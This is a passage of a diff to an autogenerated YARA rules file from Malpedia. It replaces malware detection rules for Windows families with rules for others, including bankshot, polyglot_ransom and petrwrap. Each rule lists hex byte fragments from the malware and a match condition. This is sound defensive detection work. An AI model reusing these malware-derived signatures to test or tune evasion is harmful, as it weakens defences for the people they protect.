-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jssloader_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.c0d0so0_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "186e7df3cf3822e82929f92759ecc1d78a3a2d538dfeac54de7cfb7d33d930ef"
+		logic_hash = "80f1d1736e25190b04ddf50f3339fde0073091aa1984fb16860f6c3d691cdb86"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164791,34 +171991,34 @@ rule MALPEDIA_Win_Jssloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89b5e0fbffff 660fd685e4fbffff 89b5ecfbffff 89b5e4fbffff 89b5e8fbffff 89b5ecfbffff }
-		$sequence_1 = { 0f4345b4 50 ff15???????? 8bf0 89b5c0fdffff 83feff 0f84b9020000 }
-		$sequence_2 = { 8945fc 56 8b7508 8d85fcfeffff 6800010000 6a00 50 }
-		$sequence_3 = { 899d0cffffff 6a04 68???????? c745d000000000 c745d40f000000 c645c000 e8???????? }
-		$sequence_4 = { 2bc6 83c0fc 83f81f 0f8797010000 e9???????? 8b854cfeffff 8d4804 }
-		$sequence_5 = { 51 ffb570feffff 8d4dcc e8???????? c645fc0b 8b55e0 8bc2 }
-		$sequence_6 = { 3b85ecfbffff 740a 8808 ff85e8fbffff }
-		$sequence_7 = { 8bc1 83e13f c1f806 6bc938 8b0485701d4400 80640828fe ff33 }
-		$sequence_8 = { 03f0 56 e8???????? 8b8534ffffff 83c40c 8b8d54feffff }
-		$sequence_9 = { 03f0 56 e8???????? 8b854cffffff 83c40c c6043000 8bb568feffff }
+		$sequence_0 = { 895dfc 8975f4 ff15???????? ff75f8 }
+		$sequence_1 = { 7404 0006 eb02 2806 0fb6c0 03d0 03f0 }
+		$sequence_2 = { 807e0d00 c6460801 7469 8b460e 8b1d???????? 8365f800 83c012 }
+		$sequence_3 = { 53 8b5f04 c745f401000000 0f86f4000000 56 8bb080000000 6a14 }
+		$sequence_4 = { 83c204 83f914 7ceb 8bc7 8b4dfc 33cd }
+		$sequence_5 = { 752c 6a01 56 e8???????? 59 59 }
+		$sequence_6 = { 50 33ff ff15???????? 8d4598 50 ff15???????? }
+		$sequence_7 = { ff7334 ffd6 8945fc 85c0 }
+		$sequence_8 = { 3acb 75f6 8bc7 5f 5e }
+		$sequence_9 = { 33ff 53 47 e8???????? 59 eb0b 56 }
 
 	condition:
-		7 of them and filesize <581632
+		7 of them and filesize <450560
 }
-rule MALPEDIA_Win_Romeos_Auto : FILE
+rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0156645c-05e4-5c43-9143-7d272fa7b808"
+		id = "d8c62ea3-2069-58e5-94bb-e4265ed7677c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.romeos_auto.yar#L1-L178"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyglot_ransom_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "c5549ec98f2ed02ef2ebca3bfe2dbd57b9e8c34679be2e9e834dd93b596fc1fe"
+		logic_hash = "ecee7d25f676a4e4884cb2efcc0294d55515d4c6450d9ce1a59e043bd0d80704"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -164830,38 +172030,32 @@ rule MALPEDIA_Win_Romeos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 750a 5e 33c0 5b 83c408 c20c00 8b06 }
-		$sequence_1 = { bd30000000 33db 85ed 7e0e e8???????? 88441c18 43 }
-		$sequence_2 = { 6a16 8d4c244c 6800200000 51 57 }
-		$sequence_3 = { 83ec08 53 56 8b742418 8bd9 85f6 750a }
-		$sequence_4 = { 5f 5e 5d 5b 81c438200000 c20400 }
-		$sequence_5 = { 8b542408 668902 b001 c3 668b4801 40 51 }
-		$sequence_6 = { 85db 751d 807c244802 0f85e0000000 8d542414 8d442448 }
-		$sequence_7 = { 6a16 8d44244c 52 50 }
-		$sequence_8 = { 68bb010000 8b39 50 ff15???????? 8b8e20030000 50 53 }
-		$sequence_9 = { e8???????? 8bf0 eb02 33f6 53 6800040000 8d4c243c }
-		$sequence_10 = { 50 8bce e8???????? 8d8c2490010000 51 }
-		$sequence_11 = { 81c428010000 c3 5f 5e 5d 83c8ff 5b }
-		$sequence_12 = { 8bf1 57 b940000000 33c0 8d7c2415 c644241400 c744240800000000 }
-		$sequence_13 = { 895c2440 895c2434 895c2438 ff15???????? }
-		$sequence_14 = { 8b442410 85c0 7408 66837c241400 7510 47 }
-		$sequence_15 = { 8b3a eb0d 8b8e20030000 68bb010000 }
+		$sequence_0 = { ff74244c e8???????? 8944241c 894c2448 6a07 895c2450 }
+		$sequence_1 = { 6a30 e8???????? 59 59 8d4d80 51 6801010000 }
+		$sequence_2 = { ff5004 83c328 ff4d10 75ad ff75f0 ff15???????? }
+		$sequence_3 = { be???????? 66f7c30040 6a04 5a 747a 6681fb0b40 756c }
+		$sequence_4 = { 50 68???????? e8???????? 8b85f0fdffff 59 59 8b08 }
+		$sequence_5 = { 627265 206f20 656c 696d696e617220 61 7263 6869766f73 }
+		$sequence_6 = { eb4f 8bf3 8bf9 a5 a5 a5 a5 }
+		$sequence_7 = { 59 59 751c 8b45fc 8b4020 85c0 }
+		$sequence_8 = { 5e c20400 68???????? 6a20 33c0 }
+		$sequence_9 = { 40 5e eb02 32c0 8b4d74 33cd }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <1392640
 }
-rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE
+rule MALPEDIA_Win_Xsplus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "05fc3e6a-bc1e-5e27-996e-6357de6a9e2c"
+		id = "fb41ffbb-1e2d-5bdd-9365-c97018c55362"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_bolid_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xsplus_auto.yar#L1-L178"
 		license_url = "N/A"
-		logic_hash = "938464f6c09d72401fc04aa41413a321a3c389b634663fb70512029f39441d8b"
+		logic_hash = "1413c5b641befe4b985d097bf7fa94a2fd076afb28674d33f79669c0d9d8240e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164875,32 +172069,39 @@ rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 741e 8b4c240c 51 ff15???????? 56 68???????? e8???????? }
-		$sequence_1 = { e8???????? 8d8c24d4000000 c684242c02000004 51 8bcd e8???????? 8b15???????? }
-		$sequence_2 = { 8bcb e8???????? 85c0 0f84fa000000 8b550c 42 }
-		$sequence_3 = { 49 885c2454 51 68???????? 8d4c2444 }
-		$sequence_4 = { 83c40c 8b15???????? 8d4de4 52 }
-		$sequence_5 = { e8???????? 6a01 8d4c2440 c644245800 e8???????? 8b4c2460 }
-		$sequence_6 = { f3a4 8b35???????? 8d4c2410 51 6a26 52 89442420 }
-		$sequence_7 = { 8b458c 3bc3 7505 b8???????? }
-		$sequence_8 = { 50 ff5104 33db 6a01 }
-		$sequence_9 = { 53 880e 8bce e8???????? 8b15???????? 8d44245c }
+		$sequence_0 = { 8b761c 8b4608 8b7e20 8b36 66394f18 75f2 }
+		$sequence_1 = { 0fb602 33c1 8b4d0c 034dfc 8801 }
+		$sequence_2 = { 83c408 8945f0 837df000 750f }
+		$sequence_3 = { e9???????? 8be5 5d c3 3b0d???????? }
+		$sequence_4 = { 8b45f4 83c001 8945f4 ebbf eb2c 6a08 8d4df8 }
+		$sequence_5 = { 895018 8b4df8 8b511c 83ea01 }
+		$sequence_6 = { c6864b01000043 c74668e0a34000 6a0d e8???????? 59 8365fc00 }
+		$sequence_7 = { 0345fc 8a08 880a c745f800000000 }
+		$sequence_8 = { 8d8df4fdffff 51 ff15???????? 8985ecfcffff 83bdecfcffffff 7565 6804010000 }
+		$sequence_9 = { 8b5118 d1e2 8b45f8 895018 8b4df8 }
+		$sequence_10 = { c745fc04000000 eb2d 8b5510 83e204 }
+		$sequence_11 = { 83c101 898de8feffff 8b550c 52 e8???????? }
+		$sequence_12 = { 8a800ca84000 08443b1d 0fb64601 47 3bf8 76ea }
+		$sequence_13 = { 8a15???????? 889500ffffff b93f000000 33c0 8dbd01ffffff f3ab 66ab }
+		$sequence_14 = { f3a5 8b45fc ffd0 5f 5e 8be5 }
+		$sequence_15 = { 8b4d08 51 ff15???????? b801000000 e9???????? 6a00 ff15???????? }
+		$sequence_16 = { 8975e0 8db120a84000 8975e4 eb2a 8a4601 }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <597872
 }
-rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE
+rule MALPEDIA_Win_Rad_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bcfa70ed-52d3-5ff6-98d2-54bf0fdb6694"
+		id = "7146ba59-d944-5b98-95a4-2cbd8d5bc1ff"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flying_dutchman_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rad_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "395092a50a0edc892d45a5d410470e4cbf5a35f346d3d2f6d581d10febaed0cd"
+		logic_hash = "ca5f1a440d85092616999ffada86b8990e8f68350339b252577329abb6a444ee"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164914,34 +172115,34 @@ rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66890c02 83c002 6685c9 75f1 e9???????? 8b85e8feffff 83e800 }
-		$sequence_1 = { 48 0f84f8000000 48 0f853d010000 83bd44fcffff06 7553 8b35???????? }
-		$sequence_2 = { 8bec 51 56 6a18 e8???????? 33f6 }
-		$sequence_3 = { 8d442430 50 89742438 895c2434 68???????? eb40 57 }
-		$sequence_4 = { ff75f0 f3a5 ff75f4 ff15???????? ff75f4 8b35???????? ffd6 }
-		$sequence_5 = { 3bfb 7531 6a14 e8???????? 8bf0 59 }
-		$sequence_6 = { ff15???????? 3bc7 7504 33c0 eb1f 0fbf480a }
-		$sequence_7 = { 0f8489000000 48 747f 2ddb030000 }
-		$sequence_8 = { e8???????? 8be5 5d c20800 55 8bec 81eca8000000 }
-		$sequence_9 = { 832600 83660400 83660800 c3 8b4b04 56 57 }
+		$sequence_0 = { c644242000 e8???????? 8d542420 52 8d8c2498000000 c684240c06000018 ff15???????? }
+		$sequence_1 = { 8b8680000000 3bc3 741b 8bbe84000000 e8???????? 8b8680000000 }
+		$sequence_2 = { a1???????? 33c4 89442434 8b4508 8b00 85c0 751a }
+		$sequence_3 = { 8b84241c010000 50 ffd6 83c404 8b8c2400060000 64890d00000000 }
+		$sequence_4 = { 8d8d70ffffff ff25???????? 8b8578ffffff 83e002 0f8413000000 83a578fffffffd }
+		$sequence_5 = { ffd3 8d8c2494000000 c684240806000005 ff15???????? 8b4c2418 51 8d8c2498000000 }
+		$sequence_6 = { ff15???????? 8d8c2494000000 c684240806000020 ff15???????? b8???????? 8d4c2420 }
+		$sequence_7 = { e8???????? 8bc7 50 c645fc02 e8???????? 8bc8 }
+		$sequence_8 = { 720a 8b4c2434 51 ffd6 83c404 8d9424a8000000 52 }
+		$sequence_9 = { 8d7e04 c645fc29 8d4f04 c706???????? 89bd10fdffff ff15???????? }
 
 	condition:
-		7 of them and filesize <276480
+		7 of them and filesize <207872
 }
-rule MALPEDIA_Win_Owlproxy_Auto : FILE
+rule MALPEDIA_Win_Bankshot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9642ab2d-7dc5-58a6-b1f9-20da6d2b2d38"
+		id = "4fd3740f-7572-57c0-9152-6fcb3e7bee0c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.owlproxy_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bankshot_auto.yar#L1-L425"
 		license_url = "N/A"
-		logic_hash = "8f3ab8fd440290f6fe4f2136a06c496cf082fcb282138fdbc332de45a924ef6b"
+		logic_hash = "c9fc73e4e08c210def43b3c6eab22aa7333e3e000dbbe6d6d67c9182f6534613"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -164953,32 +172154,67 @@ rule MALPEDIA_Win_Owlproxy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d942450010000 488d8c2430010000 e8???????? 90 4c8d842430010000 4883bc244801000008 4c0f43842430010000 }
-		$sequence_1 = { 488bcb 488905???????? ff15???????? 488d151b580100 483305???????? 488bcb 488905???????? }
-		$sequence_2 = { 4889442428 488d442450 4533c0 488bcf 664489a588010000 4889442420 ff15???????? }
-		$sequence_3 = { 488d4c2440 e8???????? eb27 49c747180f000000 49c7471000000000 41c60700 4533c0 }
-		$sequence_4 = { e8???????? 448bc0 488bd3 488bce e8???????? 84c0 7406 }
-		$sequence_5 = { e8???????? 90 488b4527 4c8b4d0f 6690 48837de700 740a }
-		$sequence_6 = { 4c8bc6 498bd7 488d0c28 e8???????? 4c8b4708 488b542478 }
-		$sequence_7 = { f6c101 7527 458bc6 488d156ee10000 663b1a }
-		$sequence_8 = { 4889442428 488d054eff0100 4889442440 488b442468 48634804 488d0581fe0100 4889440c68 }
-		$sequence_9 = { 89442420 4c8bce 4533c0 488b5610 488b4da8 ff15???????? 85c0 }
+		$sequence_0 = { 8bf8 8d5101 8a01 41 84c0 75f9 57 }
+		$sequence_1 = { 8bec 81ec48040000 a1???????? 33c5 8945f8 53 }
+		$sequence_2 = { e9???????? 57 33ff 8bcf 8bc7 894de4 3998c0e10110 }
+		$sequence_3 = { c74048b8e40110 8b4508 6689486c 8b4508 66898872010000 8b4508 83a04c03000000 }
+		$sequence_4 = { 33c9 33d2 66898c45f47fffff 8d8df47fffff 8d7102 668b01 83c102 }
+		$sequence_5 = { 89855c38ffff fec1 888d6438ffff 85fa 0f84a4000000 }
+		$sequence_6 = { 8b45fc 817848b8e40110 7409 ff7048 e8???????? }
+		$sequence_7 = { 0f84a6000000 680c400000 8d85e4bfffff 53 50 }
+		$sequence_8 = { 680c000200 e8???????? 8bf8 83c404 85ff 0f8429060000 6915????????04010000 }
+		$sequence_9 = { 83c40c 8d85bcbaffff 33f6 6828050000 56 50 }
+		$sequence_10 = { e8???????? 83c40c e8???????? 99 b907000000 }
+		$sequence_11 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d90c4e10110 }
+		$sequence_12 = { 0f1f4000 80b40d943dffffaa 41 3bca 7cf3 }
+		$sequence_13 = { c700???????? 8b4508 898850030000 8b4508 59 c74048b8e40110 }
+		$sequence_14 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d80d0e10110 }
+		$sequence_15 = { 8b542420 8987d0000000 8b442424 898fd4000000 8917 }
+		$sequence_16 = { e8???????? 488d0de7030000 e8???????? 33c0 4883c420 }
+		$sequence_17 = { 488d0d1e960000 c705????????30000000 8bd8 c705????????02000000 48c705????????07000000 48893d???????? }
+		$sequence_18 = { 8b0c95c8887100 8844192e 8b0495c8887100 804c182d04 ff4604 eb08 }
+		$sequence_19 = { 51 ff15???????? 8bf0 83feff 89742410 7544 ff15???????? }
+		$sequence_20 = { ff15???????? 68???????? 57 8985bcfbffff }
+		$sequence_21 = { 48c744243002000080 e8???????? 488d8c2440020000 33d2 }
+		$sequence_22 = { 52 8d85c4fbffff 50 ff15???????? 8d8dd0fdffff }
+		$sequence_23 = { 57 83e502 4d ff15???????? 85f6 7407 }
+		$sequence_24 = { 8d1c85b4ef0110 33c0 f00fb10b 8b15???????? 83cfff 8bca }
+		$sequence_25 = { 7508 8b36 85f6 75e7 eb3a 81c694010000 }
+		$sequence_26 = { e9???????? 8d8df0feffff 51 8d95e8feffff }
+		$sequence_27 = { ff15???????? 8b8df8f3ffff c7410800000000 8b95f8f3ffff 837a0400 }
+		$sequence_28 = { 8dbc24de040000 668974245c f3ab 66ab }
+		$sequence_29 = { 85c9 0f85b5010000 488d8c2450030000 e8???????? e9???????? 498d4906 }
+		$sequence_30 = { ff15???????? 41b958000000 488d1558530000 458d41d6 }
+		$sequence_31 = { 8895affbffff 8b859cfbffff 8a8daffbffff 8808 8b9588fbffff }
+		$sequence_32 = { 8b15???????? 6a01 8d4c2414 6a04 51 8944241c }
+		$sequence_33 = { c1f906 6bc030 03048d80f10110 50 ff15???????? 5d }
+		$sequence_34 = { 33cc e8???????? 8be5 5d c20400 8b8c241c3c0000 83c8ff }
+		$sequence_35 = { 7531 e8???????? 8904bdc87f0110 85c0 7514 }
+		$sequence_36 = { 6a03 6a00 6a03 8d8424c0040000 68000000c0 50 ff15???????? }
+		$sequence_37 = { 33d2 488bc8 4889742448 ff15???????? 896c2460 8bdd }
+		$sequence_38 = { 488d9560040000 41b800400000 488bce 89442460 89442468 4889442420 ff15???????? }
+		$sequence_39 = { e8???????? 83c404 eb36 8d530c }
+		$sequence_40 = { 8d7201 8a0a 42 84c9 75f9 6a00 }
+		$sequence_41 = { 8815???????? 488d442438 488d353a490000 41b919000200 4533c0 48c7c102000080 }
+		$sequence_42 = { 6bd030 895de4 8b049dc87f0110 8945d4 8955e8 8a5c1029 80fb02 }
+		$sequence_43 = { 8b8544d4ffff 83c001 6689856cd4ffff 8a4d1c }
+		$sequence_44 = { 51 68???????? 8b4dfc e8???????? b801000000 8be5 }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <860160
 }
-rule MALPEDIA_Win_Crylocker_Auto : FILE
+rule MALPEDIA_Win_Slothfulmedia_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4bfc7917-6752-5365-845d-244ec08bbbad"
+		id = "e689a948-8c82-52e0-a234-12c770624669"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crylocker_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slothfulmedia_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "846ce0f815360303954c01156a8157bafbdde3bd263a1bdd7a06f8c9923993ce"
+		logic_hash = "0fe44aa9ee5461148172e6c82a2b51d37b08cccc220629908d9ee4d92a4c22d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164992,32 +172228,38 @@ rule MALPEDIA_Win_Crylocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 8d542458 52 e8???????? 8d44245c }
-		$sequence_1 = { 50 e8???????? 8d4c2404 6a01 51 e8???????? }
-		$sequence_2 = { 6a03 50 e8???????? 8b5c2448 8b0b 51 8d54243c }
-		$sequence_3 = { 68???????? 53 e8???????? 83c408 53 85c0 7440 }
-		$sequence_4 = { 85c0 750b 5b b8f9ffffff 5d 83c410 c3 }
-		$sequence_5 = { 8d442430 50 e8???????? 8d4c2434 68???????? 51 e8???????? }
-		$sequence_6 = { 50 50 8b44244c 50 6a00 6a00 56 }
-		$sequence_7 = { 0f8430020000 8d4c2404 51 e8???????? 8d542408 }
-		$sequence_8 = { e8???????? 8b1d???????? 83c428 50 ffd3 8b542430 }
-		$sequence_9 = { e8???????? 8d4c2408 6aff 51 e8???????? 8d542410 6a02 }
+		$sequence_0 = { e9???????? 5f 8d4638 5e }
+		$sequence_1 = { 8938 8bd8 83c008 8945fc }
+		$sequence_2 = { 68???????? be04010000 33c9 56 }
+		$sequence_3 = { 83c002 663bca 75f5 2bc6 d1f8 }
+		$sequence_4 = { 40 e8???????? bb04010000 53 8d85e0fdffff 50 }
+		$sequence_5 = { 8b835c040000 68???????? 0564010000 6a05 50 e8???????? 83c418 }
+		$sequence_6 = { 0fb7f0 f7de 6aff ff7508 }
+		$sequence_7 = { 8d444606 83c410 0375f0 891c08 ff45fc }
+		$sequence_8 = { 6689442414 e8???????? 83c40c 6a00 ff15???????? }
+		$sequence_9 = { ff15???????? 8b8c2410020000 5f 5e 33cc 33c0 }
+		$sequence_10 = { 68???????? ffd6 85c0 7507 ffd7 83f805 }
+		$sequence_11 = { 5e 33cc 33c0 e8???????? 81c40c020000 c21000 3b0d???????? }
+		$sequence_12 = { 8d54240c 6a00 52 e8???????? 83c40c 6804010000 8d44240c }
+		$sequence_13 = { 6a04 6a00 8d4c2410 51 ff15???????? 8b8c2410020000 5f }
+		$sequence_14 = { 6a00 ff15???????? 8b35???????? 8b3d???????? 90 68???????? ffd6 }
+		$sequence_15 = { 68d0070000 ff15???????? 33c0 6806020000 50 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Remsec_Strider_Auto : FILE
+rule MALPEDIA_Win_Postnaptea_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5cf05a79-eeb6-5c58-8271-14cb9c81c326"
+		id = "66a4e77d-c854-5ed3-94ad-0ea65d80b627"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remsec_strider_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.postnaptea_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "69887265225a27114e8e9d83252b405933e8e0558a06ab3222eee20510a77720"
+		logic_hash = "8a33afe097a88ce8212670a3e80b58d6a5513693490a76a85e445ee8529ba924"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165031,32 +172273,32 @@ rule MALPEDIA_Win_Remsec_Strider_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 74f7 8b4130 2dbc97e889 f7d8 1bc0 f7d0 }
-		$sequence_1 = { 6a1a 58 6a10 8945e4 8945e8 58 }
-		$sequence_2 = { c9 c20800 55 8bec b804000100 }
-		$sequence_3 = { 85c9 74f7 8b4130 2dbc97e889 }
-		$sequence_4 = { 6803010000 50 ff15???????? 83c414 8d45f0 50 }
-		$sequence_5 = { 0d00000040 50 8d85e8fdffff 50 }
-		$sequence_6 = { ebf5 8b432c ff30 68???????? }
-		$sequence_7 = { 0510010000 68???????? 6803010000 50 }
-		$sequence_8 = { ff772c ff15???????? 85c0 7512 ff15???????? 8bc8 }
-		$sequence_9 = { 85ff 7415 83ff05 7410 68???????? 6a02 }
+		$sequence_0 = { c744247418f561f5 c744247867f50000 4863c2 488d4c2450 488d0c41 0fb7c2 662bc3 }
+		$sequence_1 = { ffc2 83fa1a 72e3 6644896c2474 488d442440 488bd3 0f1f440000 }
+		$sequence_2 = { ffd7 85c0 0f842c010000 4c8d052d4b0600 ba04010000 498bce e8???????? }
+		$sequence_3 = { e9???????? 418b8520280000 4d8bce 48634c2440 4c8bc6 2bc1 48034c2460 }
+		$sequence_4 = { c745c000f50cf5 c745c407f528f5 c745c80cf508f5 c745cc02f53cf5 c745d006f50bf5 c745d419f50bf5 c745d81bf54ef5 }
+		$sequence_5 = { ff15???????? 4533e4 4d85f6 0f8418100000 498bce e9???????? 448b85b0000000 }
+		$sequence_6 = { c7851001000031f56df5 c785140100006df54ef5 c7851801000005f50ef5 c7851c0100000ff50000 418bd4 0f1f440000 4863c2 }
+		$sequence_7 = { c78520020000a081b081 c78524020000a281ba81 c78528020000fa81b181 c7852c020000ba81bb81 33c0 66898530020000 418bd5 }
+		$sequence_8 = { 488b05???????? 4885c0 7515 488d55b0 b9bd59e821 e8???????? 488905???????? }
+		$sequence_9 = { ffd7 c7856007000079f57af5 c785640700007bf515f5 c785680700000df528f5 c7856c0700006bf540f5 c7857007000020f506f5 c7857407000007f516f5 }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <2457600
 }
-rule MALPEDIA_Win_Mrdec_Auto : FILE
+rule MALPEDIA_Win_Petrwrap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5cd525b0-3fcd-5de1-aa88-bd5dca592c29"
+		id = "335058f1-6093-5213-b714-ccf692d43a50"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mrdec_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.petrwrap_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "c22120d79fe39ae9d27a4d21c75a9bbd9a26aee0b664e8fa2f821d0411c6aa0d"
+		logic_hash = "3085058da5fe07c21c7301994557a19255100cfc23f593064f4716726b348a1c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165070,32 +172312,32 @@ rule MALPEDIA_Win_Mrdec_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c64446fa00 57 56 e8???????? 68???????? 56 e8???????? }
-		$sequence_1 = { 6a00 8d45cc 50 68ef000000 68???????? }
-		$sequence_2 = { 50 ff75f0 6a00 6a00 6a00 ff75e8 e8???????? }
-		$sequence_3 = { 7532 68dc050000 ff75dc 68???????? e8???????? }
-		$sequence_4 = { 6a00 6814010000 68???????? ff75d8 e8???????? 8d3550514000 }
-		$sequence_5 = { 8bec ff7508 6a40 e8???????? 0bc0 750c 68c8000000 }
-		$sequence_6 = { 81c700020000 68???????? 57 e8???????? 68???????? 57 e8???????? }
-		$sequence_7 = { 59 51 80c141 884808 ff05???????? 6a00 6a00 }
-		$sequence_8 = { 6a02 e8???????? 0bc0 0f8530010000 c745f000400000 ff75f0 }
-		$sequence_9 = { 6a00 6a00 e8???????? ff75dc e8???????? }
+		$sequence_0 = { f7e9 c1fa02 8bc2 c1e81f 40 03c2 687f010000 }
+		$sequence_1 = { 136c2414 894c2428 8b4c246c 896c2420 8d4960 e8???????? 8b4c2440 }
+		$sequence_2 = { 50 57 57 c744242400000000 c744242800000000 c744242c00000000 c744243800000000 }
+		$sequence_3 = { 8b7c2418 f7c3fcffffff 0f8496000000 897c2420 8d4900 6a00 56 }
+		$sequence_4 = { 53 53 896c2448 8844241f 660fd6442454 e8???????? 83c40c }
+		$sequence_5 = { 8bca 83d100 01460c 8b442424 83d100 83c310 83ed04 }
+		$sequence_6 = { 89460c 8b06 53 55 8b2f 8b7f04 33db }
+		$sequence_7 = { 8b7c2444 33fb 237c2434 23cb }
+		$sequence_8 = { 897db0 6a00 ff75c8 ff55d8 6a00 6a16 }
+		$sequence_9 = { 7f04 8bc5 eb0e 56 55 e8???????? 8b54242c }
 
 	condition:
-		7 of them and filesize <44864
+		7 of them and filesize <1024000
 }
-rule MALPEDIA_Win_Avos_Locker_Auto : FILE
